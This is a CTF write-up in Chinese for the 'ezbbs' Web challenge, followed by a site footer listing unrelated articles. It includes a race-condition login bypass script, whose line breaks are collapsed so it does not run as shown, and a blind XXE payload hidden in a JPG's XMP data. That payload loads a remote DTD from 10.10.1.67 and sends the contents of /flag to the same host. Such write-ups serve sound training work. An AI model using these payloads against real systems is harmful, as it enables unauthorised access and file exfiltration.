2023年四川网信人才技能大赛 决赛 实操赛Web ezbbs Writeup

题目是一个BSS论坛,如图

在这里插入图片描述

尝试注册发现注册未开放

在这里插入图片描述

题目给了jar包以及给了一个提示条件竞争绕过,分析源码:
/register/login接口都在com.my.bbs.controller.rest.BBSUserController

在这里插入图片描述

首先cacheUserBBSUser类型的私有属性,并且register.enable=false默认不开启注册

@Value("${register.enable}")
private Boolean register_enable;
private BBSUser cacheUser = new BBSUser();

在这里插入图片描述

在注册时cacheUserLoginNamePasswordMd5属性都是先被set了值的,然后是判断注册是否开启,如果未开启register_enable=false时,LoginNamePasswordMd5即会被setnull置空。

在这里插入图片描述

在登录时,登录成功的条件是cacheUser.loginName不为空,并且传入loginNamepassword参数与cacheUser.loginNamecacheUser.passwordMd5相等。

所以登录这里就存在一个条件竞争绕过,可以写个脚本一边不停的注册,一边不停地登录,在cache.loginNamecache.passwordMd5没有置空前,成功登录获取Cookie

登录的账号就用泄露的这个

在这里插入图片描述

import requests
import threading
import jsondef register(baseUrl):global loginSuccessFlagregisterUrl = baseUrl + '/register'registerData = {"loginName" : "admin@qq.com", "nickName" : "admin@qq.com", "password" : "mochu7777777", "repass" : "mochu7777777"}while not loginSuccessFlag:registerSession = requests.session()registerResp = registerSession.post(url=registerUrl, data=registerData)print(registerResp.text)def login(baseUrl):global loginSuccessFlagloginUrl = baseUrl + '/login'loginData = {"loginName" : "admin@qq.com", "password" : "mochu7777777"}while not loginSuccessFlag:loginSession = requests.session()loginResp = loginSession.post(url=loginUrl, data=loginData)resultCode = json.loads(loginResp.text)['resultCode']if resultCode == 200:print(loginResp.text)print(loginResp.headers)loginSuccessFlag = Truebreakif __name__ == '__main__':baseUrl = "http://192.168.7.7:8888"loginSuccessFlag = Falsethreading.Thread(target=register, args=(baseUrl,)).start()threading.Thread(target=login, args=(baseUrl,)).start()

有时候可能要跑比较久,条件竞争要耐心点

在这里插入图片描述

带上Cookie即可访问/userSet接口

在这里插入图片描述

登录成功后,继续分析源码,com.my.bbs.controller.common.UploadControlleruploadFile接口

在这里插入图片描述

生成的文件名String newFileName = SystemUtil.genFilenameByDate(file);,方法在com.my.bbs.util.SystemUtil类中,可以看到将上传的文件内容传给了com.my.bbs.util.FileUtil.getXmpMeta()处理。

在这里插入图片描述

很明显这是个处理图片中xmp数据的方法,那么什么是图片XMP,来看下GPT的解释

在这里插入图片描述

能够被解析猜测有可能就是考XXE了

继续跟进getXmpMeta()方法发现这里使用了xmpcoremetadata-extractor两个组件

在这里插入图片描述

然后把这个方法提取出来,下个断点简单调试下,分析下会经过哪些可能会造成XXE的地方

ezbbs.jar包中的依赖解压出来,然后加载进IDEA,方便之后调试,把两个组件的依赖也加进来

    <dependencies><dependency><groupId>com.drewnoakes</groupId><artifactId>metadata-extractor</artifactId><version>2.6.2</version></dependency><dependency><groupId>com.adobe.xmp</groupId><artifactId>xmpcore</artifactId><version>5.1.2</version></dependency></dependencies>

在这里插入图片描述

下个断点开始调,过程很长,大致就是从metadata-extractor跟到处理xmlxmlcore组件

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

跟进调试会来到com.adobe.xmp.impl.XMPMetaParser.parse(),继续跟进查看处理xml数据的方法Document document = parseXml(input, options);

com.adobe.xmp.impl.parseXml()

在这里插入图片描述

com.adobe.xmp.impl.parseXmlFromString

在这里插入图片描述

com.adobe.xmp.impl.parseInputSource

在这里插入图片描述

com.adobe.xmp.impl.XMPMetaParser

在这里插入图片描述

而这个factory就是下面这个

com.adobe.xmp.impl.createDocumentBuilderFactory()

在这里插入图片描述

到这里就很明显是DocumentBuilderFactory导致的XXE,没有设置禁用外部实体。

明确了上传这里是会加载图片中的xmp数据解析造成XXE,那么只需要找一张有xmp数据的图片,这个PS随便生成一张JPG就行,不要太大。并且注意,不增加修改原来的字节数量,只修改这一块原来的xmp数据,且要保证原来结构完整。

没有回显的XXE,引入一个远程实体,开启HTTP监听,把读取的数据外带出来

<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://10.10.1.67:8088/evil.xml"> %remote;]>

注意不要增加删除字节,只在原来的基础上做修改并且后面补全完整的结构。

在这里插入图片描述
在这里插入图片描述

远程实体evil.xml

<!ENTITY % file SYSTEM 'file:///flag'>
<!ENTITY % evil "<!ENTITY &#37; data SYSTEM 'http://10.10.1.67:8088/?flag=%file;'>">
%evil;
%data;

然后将evil.jpg上传,解析xmp数据触发引用这个远程实体加载读取/flag即可

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/228752.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java】智慧工地系统:让建筑行业管理更简单

概述 智慧工地管理平台面向房建、能源、交通各类工地的管理者&#xff0c;通过AI视频、物联感知技术对工地场景中的施工机械、建筑材料、施工规范、施工环境监管、完善施工现场项目管控。实现项目管控、特种设备管理、绿色施工、工地巡检等业务功能&#xff0c;沉淀工地监管数…

大一python题库刷题训练,大一python填空题题库

大家好&#xff0c;给大家分享一下大一python题库及答案和分析&#xff0c;很多人还不知道这一点。下面详细解释一下。现在让我们来看看&#xff01; 这篇文章主要介绍了大一python上机题库及答案&#xff0c;具有一定借鉴价值&#xff0c;需要的朋友可以参考下。希望大家阅读完…

HiveSql语法优化二 :join算法

Hive拥有多种join算法&#xff0c;包括Common Join&#xff0c;Map Join&#xff0c;Bucket Map Join&#xff0c;Sort Merge Buckt Map Join等&#xff0c;下面对每种join算法做简要说明&#xff1a; Common Join Common Join是Hive中最稳定的join算法&#xff0c;其通过一个M…

python 连接SQL server 请用pymssql连接,千万别用pyodbc

pymssql官方介绍文档 python 使用 pymssql连接 SQL server 代码示例&#xff1a; 安装pymssql包&#xff1a; pip install pymssql代码&#xff1a; import pymssqldef conn_sqlserver_demo():# 连接字符串示例&#xff08;根据您的配置进行修改&#xff09;conn Nonetry:co…

python中的随机选择和随机采样

python中的随机选择和随机采样 简单使用python中numpy.random.choice()、random.choice()、random.choices()区别介绍numpy中choice()random中choice()和choices()random.sample() 简单使用 生成随机整数&#xff0c;请使用 random.randint() &#xff0c;例如范围为[0-10]&am…

常见Appium相关问题及解决方案

问题1&#xff1a;adb检测不到设备 解决&#xff1a; 1.检查手机驱动是否安装&#xff08;win10系统不需要&#xff09;&#xff0c;去官网下载手机驱动或者电脑下载手机助手来辅助安装手机驱动&#xff0c;安装完成后卸载手机助手&#xff08;防止接入手机时抢adb端口造成干…

Linux 高级管理,MySQL服务器的构建与维护

实验环境 某公司因业务范围日益扩大&#xff0c;最近订购了一套基于B/S架构的电子商务系统&#xff0c;在正式部署之前&#xff0c;要 求对现有的httpd服务器进行改造&#xff0c;首先需要增加MySQL数据库服务。 需求描述 1. 编译安装MySQL服务器&#xff0c;并添加为mysqld系…

发现隐藏的 Web 应用程序漏洞

随着 Web 2.0 的扩展&#xff0c;近年来社交媒体平台、电子商务网站和电子邮件客户端充斥着互联网空间&#xff0c;Web 应用程序已变得无处不在。 国际知名网络安全专家、东方联盟创始人郭盛华透露&#xff1a;‘应用程序消耗和存储更加敏感和全面的数据&#xff0c;它们成为对…

ES6 面试题 | 16.精选 ES6 面试题

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

vue2自创项目——饭搭子项目总结

文章目录 问题vuex状态管理父子组件数据展示路由跳转用户信息的修改 改进 本篇主要总结出现的问题和一些解决方法 问题 vuex状态管理 在登录功能中&#xff0c;我使用了local storage进行了用户信息的持久化处理&#xff0c;为此&#xff0c;我在vuex里定义了一个方法&#x…

Apple Find My「查找」认证芯片找哪家,认准伦茨科技ST17H6x芯片

深圳市伦茨科技有限公司&#xff08;以下简称“伦茨科技”&#xff09;发布ST17H6x Soc平台。成为继Nordic之后全球第二家取得Apple Find My「查找」认证的芯片厂家&#xff0c;该平台提供可通过Apple Find My认证的Apple查找&#xff08;Find My&#xff09;功能集成解决方案。…

HarmonyOS与Data-Ability基本概念的使用方法及使用步骤

基本概念 使用Data模板的Ability&#xff08;以下简称“Data”&#xff09;有助于应用管理其自身和其他应用存储数据的访问&#xff0c;并提供与其他应用共享数据的方法。Data既可用于同设备不同应用的数据共享&#xff0c;也支持跨设备不同应用的数据共享。 数据的存放形式多…

【python+requests】接口自动化测试

这两天一直在找直接用python做接口自动化的方法&#xff0c;在网上也搜了一些博客参考&#xff0c;今天自己动手试了一下。 一、整体结构 上图是项目的目录结构&#xff0c;下面主要介绍下每个目录的作用。 Common:公共方法:主要放置公共的操作的类&#xff0c;比如数据库sql…

山海鲸可视化软件:打破数据孤岛,支持多种数据源连接

在之前的文章中为大家介绍了山海鲸可视化软件的主要应用场景&#xff0c;那么作为山海鲸可视化软件的开发者&#xff0c;我希望大家能更全面的了解我们这款免费的数字孪生软件&#xff0c;从而轻松上手。本文从数字孪生第一步接入数据开始为大家介绍一下山海鲸可视化软件支持的…

2021年数维杯国际大学生数学建模D题2021年电影市场票房波动模型分析求解全过程文档及程序

2021年数维杯国际大学生数学建模 D题 2021年电影市场票房波动模型分析 原题再现&#xff1a; 1、电影票房预测建模背景   随着人们文化消费需求的增加&#xff0c;电影院和银幕的数量不断增加&#xff0c;我国的电影产业不断呈现出繁荣景象。2019年&#xff0c;全国电影票房…

12、ble_mesh_vendor_model 服务端,自定义模型

1、初始化流程&#xff0c;存储初始化&#xff0c;nvs擦除&#xff0c; board_init();初始化LED。 2、bluetooth_init();ble协议栈初始化 3、ble_mesh_get_dev_uuid(dev_uuid);//获取设备uuid加载到mac&#xff0c;后两位dev uuid 4、ble_mesh_init();//ble mesh协议栈初始化。…

Nginx编译安装+Nginx模块详解+Nginx虚拟主机(新版)

Nginx编译安装Nginx模块详解Nginx虚拟主机 Nginx编译安装Nginx模块详解Nginx虚拟主机一、编译安装Nginx服务二、nginx版本升级1、nginx平滑升级的步骤2、示例 三、添加Nginx系统服务1、使用init.d脚本2、使用 systemd 服务配置 四、认识Nginx服务的主配置文件 nginx.conf1、全局…

13.Spring 整合 Kafka + 发送系统通知 + 显示系统通知

目录 1.Spring 整合 Kafka 2.发送系统通知 2.1 封装事件对象 2.2 开发事件的生产者和消费者 2.3 触发事件&#xff1a;在评论、点赞、关注后通知​编辑 3.显示系统通知 3.1 通知列表 3.1.1 数据访问层 3.1.2 业务层 3.1.3 表现层 3.2 开发通知详情 3.2.1 开发数据…

HttpRunner接口自动化测试框架

简介 HttpRunner是一款面向 HTTP(S) 协议的通用测试框架&#xff0c;只需编写维护一份 YAML/JSON 脚本&#xff0c;即可实现自动化测试、性能测试、线上监控、持续集成等多种测试需求。 项目地址&#xff1a;GitHub - httprunner/httprunner: HttpRunner 是一个开源的 API/UI…

VMwareKali进行WIFI密码爆破

注&#xff1a;本实验所用仪器全为自己使用&#xff01;请不要侵犯他人权益 文章目录 一、连接无线网卡二、抓取TCP握手包三、aircrack-ng跑包和hashcat跑包1.aircrack2.Hashcat 环境&#xff1a; VMware Workstation 16 Pro kali-linux-2023.1 64位 python3.9.13 RT3070-U…